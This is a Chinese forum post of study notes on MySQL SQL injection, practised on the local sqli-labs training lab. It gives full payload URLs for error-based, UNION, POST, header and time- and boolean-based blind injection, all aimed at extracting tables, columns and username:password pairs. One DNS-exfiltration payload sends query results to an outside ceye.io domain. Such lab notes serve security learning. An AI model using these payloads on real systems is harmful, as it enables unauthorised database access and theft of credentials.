mysql大于等于5.0学习总结笔记

team_gk   ·   发表于 2019-06-25 23:41:40   ·   闲聊灌水区

基于交流分享的基本原则

我建议对mysql注入感兴趣的同学可以在本地安装一个sqli-lab,不同类型管卡不同难度管卡

笔记为个人记录和一些收集,内容本人已做过测试

学无止境,有不足和错误的地方大家可以指出

不懂的地方可以评论给出,我看回复可以给解答

附件中我传了txt版本的,我建议做笔记或者查看笔记不要用notepad,Windows自带的看起来头痛可以自己搜索其他的软体。




#部分字符或者空格被进行了URL转义 %20为空格,%22,%27为双单引号#

语言分类:解释型语言和编译型语言

注入出现在解释型语言中,由于和客户产生交互因此客户可以任意输入可能导致sql注入。

要点:1.用户可以提交数据可以输入数据 2.用户的数据最后会与数据库产生交互,即当作sql语言执行


MySQL5.0以上有information_schema数据库用于管理当前数据库中的数据库名(schemata),表名(tables),列名(columns)

schemata表中schema_name字段用来存储数据库名

tables表中table_schema存储表对应的数据table_name表示表名

columns表中,table_schema()表示字段对应的数据库,table_name表示字段对应的表名,column_name表示字段名

select,update,delete,insert

select 列名称 from 表名称 where 字段1=‘条件1’and 字段2=‘条件2’

insert into 表名 (列1,列2......)values(值1,值2......)

update 表名称 set 列名称=新值 where 列名称=值

delete from 表名称 where 列名称=某值

mysql常用系统函数 user()/system_user()/session_user()/current_user()[查看登录名] schema()/database()[查看当前使用的数据名] version()[查看当前数据库版本]

limit关键字,limit(m,n)从m开始的n位数据其中m从0开始 如 select * from admin limit 0,2

在mysql中如果想要输入字符串但是单引号或者双引号被限制了,可以将字符串转16进制或者10进制ASCII码;例如'dumb'=char(100,117,109,98)=0x64756d62。

注释 单行注释 # -- (最后有一个空格,可以用20%替代)--+

     多行注释 /**/

     内联注释/*!sql语句*/ 内联注释中的sql语句会被识别

    


/*GET 基于sql回显报错的注入*/

通过在URL中修改对应的ID值,为正常数字、大数字、负数、或者在id后加字符(单引号、双引号、双单引号、括号)、反斜杠\来探测URL中是否存在注入点 其中反斜杠起到转义的作用

1、首选输入'根据mysql错误回显,构造当前sql语句的格式,然后闭合语句

http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=1'

错误回显:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

                首选去掉错误中最外层的一组'这个是输出错误时加入的,因此错误为'1'' LIMIT 0,1;我们加入了一个'号也去掉,因此正常语句为'1' LIMIT 0,1;所以我们需要闭合'以及注释掉后面的limit;

闭合语句构造:http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=1'--+

2、判断出存在注入以后首先使用order by找出当前表的列数,建议使用对半法查找

order by 语句构造:http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=1' order by 3--+

3、根据判断的列数我们使用union select查出报错可以输出的列数

union select语句构造:http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=1' and 1=2 union select 1,2,3--+

其中加入and 1=2是为了让数据库报错,我们才能知道可以输入的列数

4、根据报错的列数,我们查询当前使用的版本、用户、数据库等;(以下方法仅限于数据库版本在mysql5.0以上)[user()、vesion()、database()]

语句构造:http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=1%27%20and%201=2%20union%20select%201,version(),database()--+

5、根据information_schema数据库查询当前数据库的表名

语句构造: http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=1%27%20and%201=2%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+

其中group_concat()函数是为了输出多个结果才使用的,可以将每个结果按照符号分割group_concat(table_name,';')

6、根据结果查询自己想要的表的列名

语句构造:http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=1%27%20and%201=2%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27--+

7、根据结果构造语句查询自己想要的字段值

语句构造:http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=1%27%20and%201=2%20union%20select%201,group_concat(username,%27:%27,password),3%20from%20users--+

如果group_concat(username,':',password)中的:号受到了限制可以用0x3a,0x7e代替




/*POST注入*/:

post注入是将数据加入到了数据包中,不在URL中显示,因此可以用brupsuit抓包然后再改包发包,余下操作步骤和GET一致;post一般出现在登录框,搜索框

POST /sqli-labs-master/Less-11/index.php HTTP/1.1

Host: 127.0.0.1

Content-Length: 38

Cache-Control: max-age=0

Origin: http://127.0.0.1

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3

Referer: http://127.0.0.1/sqli-labs-master/Less-11/index.php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: id=123

Connection: close

uname=admin&passwd=admin&submit=Submit

如上就是一个post数据包,其中url栏中没有参数,参数是在数据体中的uname、passwd;因此我们注入的时候要从这两个参数下手,head注入则是从数据头中的user-agent、referer、cookie入手。




/*head头注入*/:

header注入主要是因为将http数据包的数据头中内容存入了数据库,因此可以通过IP 或者 user-agent等内容进行注入

updatexml(目标xml文档,xml路径,更新的内容),该函数用于更新xml文档,通过xml路径无法被找到来爆出sql错误

语句构造:updatexml(1,concat(0x7e,(select database()),0x7e),1)

extractvalue(取值,xml路径)

语句构造:extractvalue(1,concat(0x7e,(select database())))

insert语句和update语句注入均可使用updatexm(1,concat(0x7e,(select database())),1);报错注入

head头注入中一定要注意insert注入中的方式,要知道sql语句的结构;不能使用注释符,应当采用闭合方式,而不是注释掉语句后半部分

insert into 表名 (列1,列2......)values(值1,值2......)

如下结构 insert into admin(id,username,password)values(4,'admin','admin')//这个是正确结构

如果我们使用了注释符那么就会报错insert into admin(id,username,password)values(4,'admin'#,'admin')//values的值和admin表需要插入的列数不一致报错

正确应该是:insert into admin(id,username,password)values(4,'admin' or '1'='1','admin')//其中' or '1'='1为我们插入的闭合结构,再使用updatexml()函数

insert into admin(id,username,password) values(5,'admin5' and updatexml(1,concat(0x7e,(select database())),1) or '1'='1','admin5')



/*盲注*/:

ASCII()函数只能提取字符串中第一个字符的ASCII码,因此需要用substr()等函数来截取字符,也可以用hex()来代替用户和ascii()一样,只是返回16进制数,ascii()返回10进制数

截取字符串字段函数substr(x,y,z)、mid(x,y,z),substring(x,y,z) 三个函数用法一致还可以通过right(x,1)来替换,更改1值可以从右往左提取字符;比如从右往左两个字符为right(x,2),结合ascii()函数特性也可以一个个猜出

盲注(blind SQL)不在显示mysql执行错误,而是显示常规错误或者定义好的语句或者页面;分为基于布尔型的盲注和基于时间的盲注

基于时间的盲注

 基于时间盲注 if(ascii(substr(database(),1,1)=115,sleep(5),1))判断语句,如果database()的第一个字符ASCII码等于115那么就执行一次sleep(5)否则就输出1;如果网络状况比较差可以适当延长时间,sleep()可以用其他函数替换benchmark(time,exp)[运行exp,time次] benchmark(200000000,100*100%2)运行时间大概在5-6秒,如果不明显或者延迟严重可以更改time大小;如果if()函数被屏蔽可以用case when 1>0 then sleep(3) else 1 end;代替when后面接判断语句,true执行sleep()函数错误则输出1;更网页反应时间来判断。

 

1、猜解当前数据库的名字

http://127.0.0.1/sqli-labs-master/Less-9/index.php?id=1%27%20and%20if(ascii(substr(database(),1,1))=115,1,sleep(10))--+

2、猜测数据表对应表的值

http://127.0.0.1/sqli-labs-master/Less-9/index.php?id=1%27%20and%20if(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))%3E100,1,sleep(5))--+

3、猜解字段名

http://127.0.0.1/sqli-labs-master/Less-9/index.php?id=1%27%20and%20if(ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1),1,1))%3E100,1,sleep(5))--+

4、猜解数据

http://127.0.0.1/sqli-labs-master/Less-9/index.php?id=1%27%20and%20if(ascii(substr((select%20username%20from%20security.users%20limit%200,1),1,1))%3E50,1,sleep(5))--+



基于布尔型的盲注(由于判断ASCII码比较耗费时间所以布尔型建议用Brupsuit跑;)

1、猜解当前数据库的名字

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1%27%20and%20ascii(substr(database(),1,1))=115--+

2、猜解对应数据库有几张表

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1%27and(select%20length(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1)%3E0--+

通过调整limit后面的数字来判断总共有多少张表

3,猜测数据表对应表的值

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))=101--+

通过substr()函数截取出第一张表的值一个个猜解ASCII码,然后再继续猜解下一张表;表通过limit()函数控制,值通过substr()函数控制

4、猜解字段名

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1%27and%20ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1),2,1))%3E0--+

5、猜解数据

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1%27and%20ascii(mid((select%20username%20from%20security.users%20limit%200,1),1,1))%3E0--+


盲注中除了改方法外还有使用locate(x,y,n)函数,这个函数主要功能是从y字符串中第n[n大于0]个位置查询x字符,返回第一个遇到的位置,比如locate('a','abcda',1)则返回1,locate('a','abcda',2)则返回5;首先我们可以利用locate('s',(select database()),1)>0;来判断s在不在数据库名字中,如果存在结果肯定大于0,由此便利大小写字母以及可能的字符,知道存在哪些字符的情况下,我们需要确定组合位置,那么我们就可以用折半法来查找,这个方法比猜解ascii来说不确定性高,因为数据库架构中用了很特殊的符号,可能没法遍历到,如果猜解ASCII码无法完成可以用这个方法试试。




/*mysql DNS注入*/:

http://x.x.x.x/index3.php/aaaa.jpg?id=1%20and%20load_file(concat('\\\\',(select%20database()),'.d5bqx6.ceye.io\\awa'))--+

DNS注入主要是利用了load_file();函数访问了外部的链接,再加上子查询的运用,就可以将子查询内容,反馈到我们外链的DNS请求记录中,例子来源于靶场。


打赏我,让我更有动力~

附件列表

mysq大于等于5.0注入笔记.rar   文件大小:0.005M (下载次数:2)

0 条回复   |  直到 2019-6-25 | 2000 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.